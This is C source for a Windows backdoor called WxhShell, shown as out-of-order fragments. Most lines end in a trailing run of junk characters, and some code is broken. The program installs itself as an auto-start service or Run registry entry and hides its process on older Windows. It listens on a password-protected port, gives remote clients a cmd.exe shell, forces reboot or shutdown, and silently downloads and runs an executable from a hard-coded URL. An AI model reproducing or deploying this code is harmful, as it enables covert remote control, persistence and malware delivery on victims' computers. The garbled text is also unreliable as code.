    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $x;wnXXXM  
    else { ~X;r}l=k<  
    closesocket(wsh); Qz&I~7aoyV  
    ExitThread(0); D6Ov]E:fa  
    } Q1V4bmM  
    break; 2GECcx53  
    } rly3f  
  // 获取shell N(mhgC<O  
  case 's': { 3$+|nP:U  
    CmdShell(wsh); 88Yp0T<1  
    closesocket(wsh); ==I:>+_ ^|  
    ExitThread(0); 30]?Jz6m  
    break; 6TS+z7S81L  
  } j<!rc>)2+L  
  // 退出 }_}C ^  
  case 'x': { '7[{ISBXU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !$hrK6o  
    CloseIt(wsh); s5FyP "V  
    break; g<oSTA w  
    } &k(t_~m>  
  // 离开 4lC:svF  
  case 'q': { O?NAbxkp  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e#IED!U  
    closesocket(wsh); cl{x5>.'#  
    WSACleanup(); }K9Vr!  
    exit(1); k7)H %31;  
    break; 'wz*GMGWC  
        } ?,NZ /n  
  } u9}}}UN!  
  } ]hTYh^'e  
t`03$&Cx7  
  // 提示信息 q5:-?|jXJ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,6PV"E)_  
} qQ%zSJ?  
  } "?lirOD  
AS`0.RC-  
  return; i%>]$*  
} My'M ~#kO,  
^sd+s ~ xx  
// shell模块句柄 MzYTEe&-L  
int CmdShell(SOCKET sock) K,%H*1YKK  
{ !TP8LQ  
STARTUPINFO si; Y&`Vs(  
ZeroMemory(&si,sizeof(si)); hFuS>Hx  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \ntmD?kA  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; UZMo(rG.]{  
PROCESS_INFORMATION ProcessInfo; [ivz/r(Rj  
char cmdline[]="cmd"; A_T-]YQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0}hN/2}&  
  return 0; B`<(qPD  
} O[y.3>l[s  
01 6l$K4  
// 自身启动模式 o %A4wEye  
int StartFromService(void) ui`xgR\6Rh  
{ z,}1K!  
typedef struct mN@)b+~(S  
{ *aS|4M-  
  DWORD ExitStatus; i;*c|ma1>  
  DWORD PebBaseAddress; I>bLgt]u3  
  DWORD AffinityMask; IyIh0B~i  
  DWORD BasePriority; :Y(Yk5  
  ULONG UniqueProcessId; f!e8xDfA  
  ULONG InheritedFromUniqueProcessId; ?(>7v[=iT  
}   PROCESS_BASIC_INFORMATION; W"AWhi{h  
}\=9l<|  
PROCNTQSIP NtQueryInformationProcess; 2GXAq~h@  
$$<9tqA  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; uCF+Mp  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6(B0gBCId  
7xB#)o53  
  HANDLE             hProcess; IJxdbuKg  
  PROCESS_BASIC_INFORMATION pbi; 6Bmv1n[X^h  
M:6H%6eT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?RiW:TQ*  
  if(NULL == hInst ) return 0; ?`AzgM[I  
(' /S~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 71 hv~Nk/x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1sYwFr5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FoWE<  
MA.1t  
  if (!NtQueryInformationProcess) return 0; F0o7XUt  
6.~HbN  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ].pz  
  if(!hProcess) return 0; . Uv7{(  
\r^=W=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;"!dq)  
I?J$";A  
  CloseHandle(hProcess); ml.l( 6A  
;H_yNrwA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?JzLn,&  
if(hProcess==NULL) return 0; ($7>\"+Tl  
j7<`^OG  
HMODULE hMod; }h5pM`|1  
char procName[255]; kGc;j8>."  
unsigned long cbNeeded; hZY+dHa]  
xE;4#+_I  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /8q7pwV  
-0YS$v%au>  
  CloseHandle(hProcess); g}{Rk>k  
j^llO1i/  
if(strstr(procName,"services")) return 1; // 以服务启动 7SoxsT)  
 ?Vbe  
  return 0; // 注册表启动 }di)4=U9  
} \! Os!s  
m0paGG  
// 主模块 (:,N?bg  
int StartWxhshell(LPSTR lpCmdLine) .MhZ=sn  
{ aN ). G1  
  SOCKET wsl; W!4GL>9m}A  
BOOL val=TRUE; Dgj`_yd  
  int port=0; 9x?" %b  
  struct sockaddr_in door; 0h^upB#p  
%&c[g O!Za  
  if(wscfg.ws_autoins) Install(); %LXk9K^]e  
}=^YLu=  
port=atoi(lpCmdLine); +NxEx/{  
q !7z4Cn  
if(port<=0) port=wscfg.ws_port; L=Dd`  
ZWG$MFEjl  
  WSADATA data; VHM,W]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kFHqQs aG  
|08tQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   IJD'0/R'c  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 09_3`K. *  
  door.sin_family = AF_INET; 9^4^EY#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); p"Oi83w;9  
  door.sin_port = htons(port); d5T0#ue/e  
R7KHfXy'm  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W6K]jIQ  
closesocket(wsl); i'L7t!f}o  
return 1; $T^O38$  
} |5V#&e\ES  
Wgq*|teW  
  if(listen(wsl,2) == INVALID_SOCKET) { ?%JH4I2  
closesocket(wsl); :)q/8 0@  
return 1; GTYGm  
} . 7g^w+W  
  Wxhshell(wsl); !z{bqPlFGG  
  WSACleanup(); %HL@O]ftS  
x|U]x  
return 0; jXGr{n  
lc>nU hj.  
} 3.Ni%FF`  
PP[{ c  
// 以NT服务方式启动 3`n5[RV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X z2IAiAs'  
{ _R8)%<E  
DWORD   status = 0; EqUiC*u8{I  
  DWORD   specificError = 0xfffffff; .<u<!fL2  
9C-F%te7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (+@3Dr5o0}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fhLdM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @-qxNw  
  serviceStatus.dwWin32ExitCode     = 0; )!|K3%9  
  serviceStatus.dwServiceSpecificExitCode = 0; ^KF  
  serviceStatus.dwCheckPoint       = 0; 6%U1%;  
  serviceStatus.dwWaitHint       = 0; dB<BEe\$g.  
yf3%g\k  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +m:U9K(\h  
  if (hServiceStatusHandle==0) return; >P>.j+o/  
8$v17 3  
status = GetLastError(); 3y r{B Xn  
  if (status!=NO_ERROR) I?4J69'  
{ l"IBt:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; J0d +q!  
    serviceStatus.dwCheckPoint       = 0; 'RQZU*8  
    serviceStatus.dwWaitHint       = 0; '}P)iS2  
    serviceStatus.dwWin32ExitCode     = status; xPQO}wKa  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,{%/$7)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gSZ NsiH  
    return; ,":"Op61  
  } 2i |wQU5w  
70lb6A  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @`wBe#+\  
  serviceStatus.dwCheckPoint       = 0; U[U$1LSS  
  serviceStatus.dwWaitHint       = 0; ]AERi] B  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); z;#}u C  
} wy&VClT  
+]I;C  
// 处理NT服务事件,比如:启动、停止 p|(910OEQ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /:ma}qG y  
{ qAR~js`5  
switch(fdwControl) rU<  H7U  
{ Z:O24{ro5  
case SERVICE_CONTROL_STOP: kzJNdYtdH  
  serviceStatus.dwWin32ExitCode = 0; B V+"uF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; HQt=.#GW  
  serviceStatus.dwCheckPoint   = 0; Jc`LUJT  
  serviceStatus.dwWaitHint     = 0; "}7K>|a  
  { [ueT]%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2?Q IK3"v  
  } Bwb3@vNA  
  return; 7<IrN\@U  
case SERVICE_CONTROL_PAUSE: F =iz\O!6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; fAUtqkB  
  break; 9m!4U2N,s  
case SERVICE_CONTROL_CONTINUE: 0e q>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {* >$aI  
  break; (mt,:hX  
case SERVICE_CONTROL_INTERROGATE: q$:T<mFK$  
  break; Xa[gDdbL  
}; VG2TiR1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n$5,B*  
} vq(@B  
Z(/jQ=ozQ  
// 标准应用程序主函数 >W.Pg`'D  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ll[U-v{  
{ B wtD!de$  
4xtbP\=   
// 获取操作系统版本 GG(rp]rgl  
OsIsNt=GetOsVer(); `U2Z(9le  
GetModuleFileName(NULL,ExeFile,MAX_PATH); uO,90g[C/R  
hJhdHy=U  
  // 从命令行安装 *ubLuC+b  
  if(strpbrk(lpCmdLine,"iI")) Install(); @L{HT8utK3  
=;dupz\7  
  // 下载执行文件 A3$ rPb8  
if(wscfg.ws_downexe) { p8Lb*7W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hkHMBsNi  
  WinExec(wscfg.ws_filenam,SW_HIDE); [7|}h/  
} T=;'"S  
FT`y3 ~  
if(!OsIsNt) { ;oob TW{  
// 如果时win9x,隐藏进程并且设置为注册表启动 2x$\vL0  
HideProc(); kRSu6r9  
StartWxhshell(lpCmdLine);  fJc,KZy  
} WQiEQ>6(t(  
else S3)JEZi  
  if(StartFromService()) /A|ofAr)  
  // 以服务方式启动 k5g\s9n]  
  StartServiceCtrlDispatcher(DispatchTable); '(^p$=3|@D  
else )c]GgPH  
  // 普通方式启动 [A*vl9=  
  StartWxhshell(lpCmdLine); sGMC$%e}  
rIW`(IG_  
return 0; oo- ^BG  
} 1m}'Y@I  
pfZn<n5p  
d/P$qMD  
w V2 7  
=========================================== C(e!cOG  
4\Y=*X  
s![=F}ck  
{\C$Bz  
7D9R^\K  
G\jr^d\  
" ;bP7|  
I?bL4u$\  
#include <stdio.h> N;r,B  
#include <string.h> 0S/&^  
#include <windows.h> *Vv ;NA/  
#include <winsock2.h> 8Q#&=]W$  
#include <winsvc.h> 3,N7Nfe  
#include <urlmon.h> O=c&  
6K?+adKlc  
#pragma comment (lib, "Ws2_32.lib") n$#^gzU4  
#pragma comment (lib, "urlmon.lib") <XCH{Te1  
cf0em!  
#define MAX_USER   100 // 最大客户端连接数 PcDPRX!@  
#define BUF_SOCK   200 // sock buffer .(1=iL_3e  
#define KEY_BUFF   255 // 输入 buffer .}Bb :*@  
<KHB/7  
#define REBOOT     0   // 重启 Nm OQ7T  
#define SHUTDOWN   1   // 关机 Y$oBsg\v  
t MA  
#define DEF_PORT   5000 // 监听端口 *zz/U (9D  
P5] cEZ n  
#define REG_LEN     16   // 注册表键长度 w:z_EV!&  
#define SVC_LEN     80   // NT服务名长度 U?xl%qF`)  
"UVV/&`o  
// 从dll定义API Y*w< ~m  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LoBKR c2t  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !X[lNt O  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); v oC< /}E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Szwa2IdI.  
hDmVv;M:  
// wxhshell配置信息 /91H! s  
struct WSCFG { B<:i[~`7t  
  int ws_port;         // 监听端口 <;v{`@\j{  
  char ws_passstr[REG_LEN]; // 口令 }"q1B  
  int ws_autoins;       // 安装标记, 1=yes 0=no :,GsbNKW  
  char ws_regname[REG_LEN]; // 注册表键名 Eq'{uV:  
  char ws_svcname[REG_LEN]; // 服务名 4:6@9.VVT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 f"k/j?e*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 r"5]U`+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T3M 4r|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }o)GBWqHR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" { " $2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (">!vz  
DPy"FQYZb  
}; 9dKrE_zK:  
7sHtJr  
// default Wxhshell configuration T(ponLh  
struct WSCFG wscfg={DEF_PORT, 3z ~zcQ^\  
    "xuhuanlingzhe", 6pr}A  
    1, o Q{gh$6*  
    "Wxhshell", xwK<f6H!y  
    "Wxhshell", X)~JX}-L  
            "WxhShell Service", mYa0_P%^  
    "Wrsky Windows CmdShell Service", 0 w@~ynW[  
    "Please Input Your Password: ", (qB$I\  
  1, Q v{q:=k  
  "http://www.wrsky.com/wxhshell.exe", o`G'E&  
  "Wxhshell.exe" IybMO5Mwn  
    }; `"-)ObOj}  
!^`ZHJ-3>;  
// 消息定义模块 HESwz{eSS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !f7}5/YC7v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /i^b;?/1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #C !8a  
char *msg_ws_ext="\n\rExit."; =>ph\  
char *msg_ws_end="\n\rQuit."; >@T ZYdl  
char *msg_ws_boot="\n\rReboot..."; qx`*]lX  
char *msg_ws_poff="\n\rShutdown..."; W0gaOew(^  
char *msg_ws_down="\n\rSave to "; .&}}ro48  
b/O~f8t  
char *msg_ws_err="\n\rErr!"; $C^94$W  
char *msg_ws_ok="\n\rOK!"; UyK|KL  
<R]?8L0{h  
char ExeFile[MAX_PATH]; o?hya.;h4  
int nUser = 0; wU+ofj; +I  
HANDLE handles[MAX_USER]; Lxd*W2$3_  
int OsIsNt; K*CO%:,-  
t0}3QGf;c  
SERVICE_STATUS       serviceStatus; oD!72W_:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; VCvuZU{<  
6 D~b9 e  
// 函数声明 M;3uG/E\  
int Install(void); m=j7 vb  
int Uninstall(void); Ng+k{vAj  
int DownloadFile(char *sURL, SOCKET wsh); 5:56l>0  
int Boot(int flag); ~}wPiu,  
void HideProc(void); r7w&p.?  
int GetOsVer(void); |\N[EM%.@  
int Wxhshell(SOCKET wsl); =_Qt&B)  
void TalkWithClient(void *cs); BnAia3z  
int CmdShell(SOCKET sock); =%$ _)=}J  
int StartFromService(void); rD<@$KpP  
int StartWxhshell(LPSTR lpCmdLine); "R):B~8|H{  
\{NeDv{A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =_L"x~0I-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N:gS]OI*  
37 M7bB0  
// 数据结构和表定义 7{<t]wQq  
SERVICE_TABLE_ENTRY DispatchTable[] = cWh Aj>?_Q  
{ {b]WLBy  
{wscfg.ws_svcname, NTServiceMain}, `db++Z'C  
{NULL, NULL} Ak>RLD25_  
}; "kf7??Z  
CBi V':;  
// 自我安装 ;~/  
int Install(void) f+L )x  
{ ,n&Dg58K  
  char svExeFile[MAX_PATH]; ^B]M- XG  
  HKEY key; gKS^-X{x  
  strcpy(svExeFile,ExeFile); h2uO+qEsu  
3tOnALv  
// 如果是win9x系统,修改注册表设为自启动 -41L^Di\  
if(!OsIsNt) { YZ/mTQn_D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tEf-BV;\y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bumS>:  
  RegCloseKey(key); EeL~`$f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J,P7k$t2vv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EY> %#0  
  RegCloseKey(key); C7)].vUN  
  return 0; E%/E%9-7\  
    } sowkxw.^Q  
  } 3MkF  
} t%N#Yh!  
else { kk^KaD4dA  
Vf O0 z5&  
// 如果是NT以上系统,安装为系统服务  q#MA A_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [.3M>,)+-  
if (schSCManager!=0) 5n?fZ?6(  
{ ,4EE9 ?J  
  SC_HANDLE schService = CreateService }bjTb!  
  ( ?4gYUEM#  
  schSCManager, Pu}r` E_  
  wscfg.ws_svcname, mxDy!:@=  
  wscfg.ws_svcdisp, CX\# |Q8q  
  SERVICE_ALL_ACCESS, l_QpPo!a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :c<C;.  
  SERVICE_AUTO_START, MUVp8! *@  
  SERVICE_ERROR_NORMAL, C2DNyMu  
  svExeFile, IsnC_"f  
  NULL, 'B6D&xn'%&  
  NULL, 8 I,(\<Xv  
  NULL, cl14FrpYu  
  NULL, fa"eyBO50  
  NULL HLTz|P0JZ  
  ); /5zzzaj {  
  if (schService!=0) *i)GoQoB  
  { Rp9uUJ 6o  
  CloseServiceHandle(schService); uw;s](~E  
  CloseServiceHandle(schSCManager); K;S&91V)=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fZXd<Fg+  
  strcat(svExeFile,wscfg.ws_svcname); %qN8u Qx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ygT,I+7\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .KK"KO5k  
  RegCloseKey(key); TC J\@|yw  
  return 0; Q/0;r{@Tq}  
    } iTxn  
  } IKAF%0[R|j  
  CloseServiceHandle(schSCManager); jS| (g##4  
} 6n;ewl}  
} a08B8  
sOVaQ&+y  
return 1; ];j8vts&  
} x$6-7<p  
ITq+Hk R  
// 自我卸载 5M*q{kX)  
int Uninstall(void) !)_5z<  
{ dI'C[.zp[  
  HKEY key; QAcvv 0Hv  
e#&[4tQF  
if(!OsIsNt) { tHhY1[A8m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `| R8WM  
  RegDeleteValue(key,wscfg.ws_regname); P),%S9jP;  
  RegCloseKey(key); p 4(-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %3"3OOT7  
  RegDeleteValue(key,wscfg.ws_regname); -hhE`Y  
  RegCloseKey(key); Fv e,&~  
  return 0; %l3RM*zb  
  } uCmdNY  
} 2c9@n9Vx3a  
} v }P~g  
else { =ngu*#?c4  
h_y<A@[P}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); x7{,4js  
if (schSCManager!=0) Gs*ea'T)  
{ Ya\G/R  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nc@ul')  
  if (schService!=0) #v~zf@<KLB  
  { `qs'={YtU  
  if(DeleteService(schService)!=0) { 9YB~1 M  
  CloseServiceHandle(schService); BAqu@F\):  
  CloseServiceHandle(schSCManager); r]8tl  
  return 0; Zj`eR\7~  
  } nb?bx{M  
  CloseServiceHandle(schService); .8.ivfmJh  
  } REFisH-  
  CloseServiceHandle(schSCManager); X2sK<Qluql  
} .%~ L  
} r+$ 0u~^  
9x{T"'  
return 1; MV=.(Zs  
} ^_2Ki   
Z<ke!H  
// 从指定url下载文件 !M3IuDN  
int DownloadFile(char *sURL, SOCKET wsh) B-M|}T  
{ MQ,$'Y5~H  
  HRESULT hr; Nnv&~ D>  
char seps[]= "/"; @,zBZNX y  
char *token; nJ2l$J<  
char *file; YMqL,& Q{1  
char myURL[MAX_PATH]; t}*teo[  
char myFILE[MAX_PATH]; wiwJD}3h'  
7g(rJGjtg  
strcpy(myURL,sURL); F!aYK2  
  token=strtok(myURL,seps); _jeub [  
  while(token!=NULL) =X% D;2  
  { _)%4NjWKk  
    file=token; vuw1ycy)  
  token=strtok(NULL,seps); w8{deSdfP  
  } 5'oWd e  
yd>kJk^~/  
GetCurrentDirectory(MAX_PATH,myFILE); Prjl ;[I}  
strcat(myFILE, "\\"); sU+~#K$ b  
strcat(myFILE, file); XV+BSW7}  
  send(wsh,myFILE,strlen(myFILE),0); "q]v2t  
send(wsh,"...",3,0); n,xK7icYNQ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B=n]N+  
  if(hr==S_OK) /dWuHS  
return 0; rEddX  
else hoU&'P8  
return 1; ;5 IS58L  
#2u-L~n  
} N#ex2c  
[~jh Ov^  
// 系统电源模块 %J+$p\c  
int Boot(int flag) %M'"%Yn@(y  
{ 1X#`NUJ?2  
  HANDLE hToken; ^!kv gm<{$  
  TOKEN_PRIVILEGES tkp; uiiA)j*!  
hpAIIgn  
  if(OsIsNt) { 0*tEuJ7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L6Ynid.k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 's&Vg09D,  
    tkp.PrivilegeCount = 1; R@"N{ [9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bF B;N+>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5i1>z{  
if(flag==REBOOT) { NWoZDsu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) QP\vN|r  
  return 0; ;gW~+hW^  
} Y-9]J(  
else { %lV>Nc|iz=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) IM +Dm  
  return 0; e3(0L I  
} Ulktd^A\  
  } u2Rmp4]  
  else { MJ92S(  
if(flag==REBOOT) { ;$|+H"g|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) TOBAh.1  
  return 0; t^h>~o' \  
} 3QXGbu}:h!  
else { pw(`+x]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8#kFS@  
  return 0; 9V"^F.>  
} ? 4.W _  
} 6qH o$#iT  
qrt+{5/t  
return 1; /&kTVuN"(  
} "`&?<82  
q<;9!2py  
// win9x进程隐藏模块 7Y!^88,f.  
void HideProc(void) hcN$p2-  
{ | C2k(  
~xHr/:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $*2uI?87}:  
  if ( hKernel != NULL ) Zj}DlNkVu  
  { qv,|7yw{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y"){?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); g@1MIm c'!  
    FreeLibrary(hKernel); }. ,xhF[  
  } HVk3F| ]V  
{8UBxFIM(  
return; @l@lE0  
} g8vN^nQf[  
yV`!Fq 1k  
// 获取操作系统版本 [IHT)%>E8&  
int GetOsVer(void) 2+Fq'!  
{ @<w$QD  
  OSVERSIONINFO winfo; ^Yn6kF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =-vk}O0C  
  GetVersionEx(&winfo); #s]]\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %*/?k~53  
  return 1; ^K;,,s;0  
  else jh=:QP/  
  return 0; lSbAZ6  
} zlXkD~GV  
>j$f$*x  
// 客户端句柄模块 l+T\DZ  
int Wxhshell(SOCKET wsl) "5>p]u>  
{ qkR.{?x  
  SOCKET wsh; ^@tn+'.  
  struct sockaddr_in client; KH@M & >=^  
  DWORD myID; .oSKSld  
vK$T$SL  
  while(nUser<MAX_USER) ~(yh0V  
{ .[CXW2k  
  int nSize=sizeof(client); :v&GA s6H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w0 "h,{  
  if(wsh==INVALID_SOCKET) return 1; Omh(UHZBB  
(M[Kh ^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ) d\Se9!  
if(handles[nUser]==0) N5~g:([k  
  closesocket(wsh); ,Q}/#/  
else *D|6g| Hb  
  nUser++; fT 8"1f|w  
  } N\xqy-L9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !7}5"j ;A  
VS 8|lgQ  
  return 0; I5 [r-r  
} Q&n|tQ*4  
_c%~\LOk  
// 关闭 socket 2-{8+*_'  
void CloseIt(SOCKET wsh) \8<bb<`  
{ "-I>  
closesocket(wsh); (:@qn+ a  
nUser--; o_={xrmIA  
ExitThread(0); ayC*n'  
} ~A"ODLgU9  
fC(lY4,H3R  
// 客户端请求句柄 XrBLw}lD`N  
void TalkWithClient(void *cs) |w\D6d]o  
{ _|~2i1 Ms,  
5"@<7/2qI  
  SOCKET wsh=(SOCKET)cs; }3N8EmS  
  char pwd[SVC_LEN]; NO6.qWl  
  char cmd[KEY_BUFF]; g ,Q!F  
char chr[1]; *Z{W,8h*s  
int i,j; /T_tI R>  
y.mojx%?a  
  while (nUser < MAX_USER) { >.M `Fz.  
}g(aZ  
if(wscfg.ws_passstr) { ( 4b&}46  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M@csB.'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7E|0'PPR  
  //ZeroMemory(pwd,KEY_BUFF); s{A-K5S  
      i=0; zW+Y{^hf  
  while(i<SVC_LEN) { -4X,x  
^S, "i V  
  // 设置超时 B?TAS  
  fd_set FdRead; )(?s=<H  
  struct timeval TimeOut; {J|P2a[  
  FD_ZERO(&FdRead); `&0?e-  
  FD_SET(wsh,&FdRead); QmgwIz_  
  TimeOut.tv_sec=8; !.p!  
  TimeOut.tv_usec=0; IO,kP`Wcx  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Fbk<qQH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); g]jtVQH']  
R?X9U.AcW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MRmz/ZmRM  
  pwd=chr[0]; a9D 5qj  
  if(chr[0]==0xd || chr[0]==0xa) { $\a;?>WA"  
  pwd=0; &I d ^n  
  break; {4:En;  
  } V&GFGds  
  i++; TTqOAo[-Z  
    } i*2z7MY  
$ar:5kif  
  // 如果是非法用户,关闭 socket n1$##=wK]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FRfMtxvU  
} 9Z#37)  
o AQ92~b  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $SXF>n{}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8 5s{;3  
A"9aEOX-?i  
while(1) { 3V,X=  
Y!Z@1V`  
  ZeroMemory(cmd,KEY_BUFF); J-X5n 3I&  
O4-UVxv}  
      // 自动支持客户端 telnet标准   -"a])- j  
  j=0; wmoOp;C  
  while(j<KEY_BUFF) { \,(tP:o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J qU%$[w  
  cmd[j]=chr[0]; blp)a  
  if(chr[0]==0xa || chr[0]==0xd) { X>Xpx<RY!  
  cmd[j]=0; X\$M _b>O  
  break; Jl^oDW  
  } NT8%{>F`  
  j++; v4Nb/Y  
    } t+h"YiT  
}1$8)zH  
  // 下载文件 {= z%( '^  
  if(strstr(cmd,"http://")) { r&TxRsg{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {fX4  
  if(DownloadFile(cmd,wsh)) fSun{?{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); h eh! cDK  
  else mCq*@1Lp9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1,pg:=N9  
  } Z:n33xh=<  
  else { AV8TP-Ls+  
TbX ZU$[c  
    switch(cmd[0]) { ME |"pJ  
  1hMk\ -3S  
  // 帮助 =h&^X>!  
